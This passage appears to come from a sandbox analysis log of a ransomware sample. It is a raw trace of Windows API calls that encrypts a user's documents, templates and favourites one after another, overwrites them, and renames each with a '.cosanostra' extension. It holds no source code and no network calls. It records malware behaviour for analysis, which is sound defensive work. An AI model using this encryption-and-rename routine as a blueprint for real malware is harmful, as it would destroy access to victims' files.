dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4c8*=0x30) returned 1 [0089.736] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.737] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 81 [0089.737] StrStrW (lpFirst="Normal.dotm", lpSrch=".txt") returned 0x0 [0089.777] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.777] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf48c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf48c*=0x2800, lpOverlapped=0x0) returned 1 [0089.777] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.777] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf48c, lpOverlapped=0x0 | out: lpBuffer=0x2abf4cc*, lpNumberOfBytesWritten=0x2abf48c*=0x4, lpOverlapped=0x0) returned 1 [0089.870] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf48c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf48c*=0x30, lpOverlapped=0x0) returned 1 [0089.870] CloseHandle (hObject=0x190) returned 1 [0089.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm.cosanostra")) returned 1 [0089.871] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4d0 | out: pbBuffer=0x2abf4d0) returned 1 [0089.871] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4c8*=0x30) returned 1 [0089.871] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.872] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned 71 [0089.872] StrStrW (lpFirst="Web Slice Gallery.url", lpSrch=".txt") returned 0x0 [0089.873] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.873] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2abf48c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf48c*=0xe2, lpOverlapped=0x0) returned 1 [0089.873] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.873] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf48c, lpOverlapped=0x0 | out: lpBuffer=0x2abf4cc*, lpNumberOfBytesWritten=0x2abf48c*=0x4, lpOverlapped=0x0) returned 1 [0089.873] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf48c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf48c*=0x30, lpOverlapped=0x0) returned 1 [0089.873] CloseHandle (hObject=0x190) returned 1 [0089.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.cosanostra")) returned 1 [0089.873] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4c8 | out: pbBuffer=0x2abf4c8) returned 1 [0089.874] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4c0*=0x30) returned 1 [0089.874] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.874] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned 69 [0089.874] StrStrW (lpFirst="Suggested Sites.url", lpSrch=".txt") returned 0x0 [0089.875] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.875] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abf484, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf484*=0xec, lpOverlapped=0x0) returned 1 [0089.875] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.875] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf484, lpOverlapped=0x0 | out: lpBuffer=0x2abf4c4*, lpNumberOfBytesWritten=0x2abf484*=0x4, lpOverlapped=0x0) returned 1 [0089.875] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf484, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf484*=0x30, lpOverlapped=0x0) returned 1 [0089.875] CloseHandle (hObject=0x190) returned 1 [0089.875] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.cosanostra")) returned 1 [0089.876] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4c8 | out: pbBuffer=0x2abf4c8) returned 1 [0089.876] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4c0*=0x30) returned 1 [0089.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.876] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned 61 [0089.876] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0089.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffffb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.877] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2abf484, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf484*=0x50, lpOverlapped=0x0) returned 1 [0089.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.877] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf484, lpOverlapped=0x0 | out: lpBuffer=0x2abf4c4*, lpNumberOfBytesWritten=0x2abf484*=0x4, lpOverlapped=0x0) returned 1 [0089.877] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf484, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf484*=0x30, lpOverlapped=0x0) returned 1 [0089.877] CloseHandle (hObject=0x190) returned 1 [0089.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini.cosanostra")) returned 1 [0089.878] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4c0 | out: pbBuffer=0x2abf4c0) returned 1 [0089.878] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4b8*=0x30) returned 1 [0089.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.878] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4c0 | out: pbBuffer=0x2abf4c0) returned 1 [0089.878] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4b8*=0x30) returned 1 [0089.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.878] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4b8 | out: pbBuffer=0x2abf4b8) returned 1 [0089.878] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4b0*=0x30) returned 1 [0089.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.878] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned 55 [0089.878] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0089.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffe6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.879] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2abf474, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf474*=0x192, lpOverlapped=0x0) returned 1 [0089.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.879] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf474, lpOverlapped=0x0 | out: lpBuffer=0x2abf4b4*, lpNumberOfBytesWritten=0x2abf474*=0x4, lpOverlapped=0x0) returned 1 [0089.879] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf474, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf474*=0x30, lpOverlapped=0x0) returned 1 [0089.880] CloseHandle (hObject=0x190) returned 1 [0089.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini.cosanostra")) returned 1 [0089.880] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4b8 | out: pbBuffer=0x2abf4b8) returned 1 [0089.880] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4b0*=0x30) returned 1 [0089.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.880] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4b0 | out: pbBuffer=0x2abf4b0) returned 1 [0089.880] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4a8*=0x30) returned 1 [0089.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.881] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4a8 | out: pbBuffer=0x2abf4a8) returned 1 [0089.881] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4a0*=0x30) returned 1 [0089.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.882] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned 55 [0089.882] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0089.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.882] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2abf464, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf464*=0x11a, lpOverlapped=0x0) returned 1 [0089.882] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.882] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf464, lpOverlapped=0x0 | out: lpBuffer=0x2abf4a4*, lpNumberOfBytesWritten=0x2abf464*=0x4, lpOverlapped=0x0) returned 1 [0089.882] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf464, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf464*=0x30, lpOverlapped=0x0) returned 1 [0089.883] CloseHandle (hObject=0x190) returned 1 [0089.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini.cosanostra")) returned 1 [0089.883] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4a8 | out: pbBuffer=0x2abf4a8) returned 1 [0089.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4a0*=0x30) returned 1 [0089.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.883] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4a0 | out: pbBuffer=0x2abf4a0) returned 1 [0089.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf498*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf498*=0x30) returned 1 [0089.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.885] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf498 | out: pbBuffer=0x2abf498) returned 1 [0089.885] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf490*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf490*=0x30) returned 1 [0089.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\TGMVGKhiPpSRtq7RAiH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\tgmvgkhippsrtq7raih.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.933] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\TGMVGKhiPpSRtq7RAiH.xlsx") returned 84 [0089.933] StrStrW (lpFirst="TGMVGKhiPpSRtq7RAiH.xlsx", lpSrch=".txt") returned 0x0 [0089.936] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.936] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf454, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf454*=0x2800, lpOverlapped=0x0) returned 1 [0089.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.939] WriteFile (in: hFile=0x190, lpBuffer=0x2abf494*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf454, lpOverlapped=0x0 | out: lpBuffer=0x2abf494*, lpNumberOfBytesWritten=0x2abf454*=0x4, lpOverlapped=0x0) returned 1 [0089.939] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf454, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf454*=0x30, lpOverlapped=0x0) returned 1 [0089.939] CloseHandle (hObject=0x190) returned 1 [0089.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\TGMVGKhiPpSRtq7RAiH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\tgmvgkhippsrtq7raih.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xlgwH4o1CGXR33x\\TGMVGKhiPpSRtq7RAiH.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xlgwh4o1cgxr33x\\tgmvgkhippsrtq7raih.xlsx.cosanostra")) returned 1 [0089.940] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf490 | out: pbBuffer=0x2abf490) returned 1 [0089.940] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf488*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf488*=0x30) returned 1 [0089.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\aqg4f.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\ylf5lcwpej upvc0b\\aqg4f.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.941] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\aqg4f.pps") returned 83 [0089.941] StrStrW (lpFirst="aqg4f.pps", lpSrch=".txt") returned 0x0 [0089.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.941] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf44c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf44c*=0x2800, lpOverlapped=0x0) returned 1 [0089.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.941] WriteFile (in: hFile=0x190, lpBuffer=0x2abf48c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf44c, lpOverlapped=0x0 | out: lpBuffer=0x2abf48c*, lpNumberOfBytesWritten=0x2abf44c*=0x4, lpOverlapped=0x0) returned 1 [0089.941] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf44c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf44c*=0x30, lpOverlapped=0x0) returned 1 [0089.941] CloseHandle (hObject=0x190) returned 1 [0090.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\aqg4f.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\ylf5lcwpej upvc0b\\aqg4f.pps"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\aqg4f.pps.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\ylf5lcwpej upvc0b\\aqg4f.pps.cosanostra")) returned 1 [0090.110] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf490 | out: pbBuffer=0x2abf490) returned 1 [0090.110] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf488*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf488*=0x30) returned 1 [0090.111] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0090.423] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 85 [0090.423] StrStrW (lpFirst="state.rsm", lpSrch=".txt") returned 0x0 [0090.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffd72, 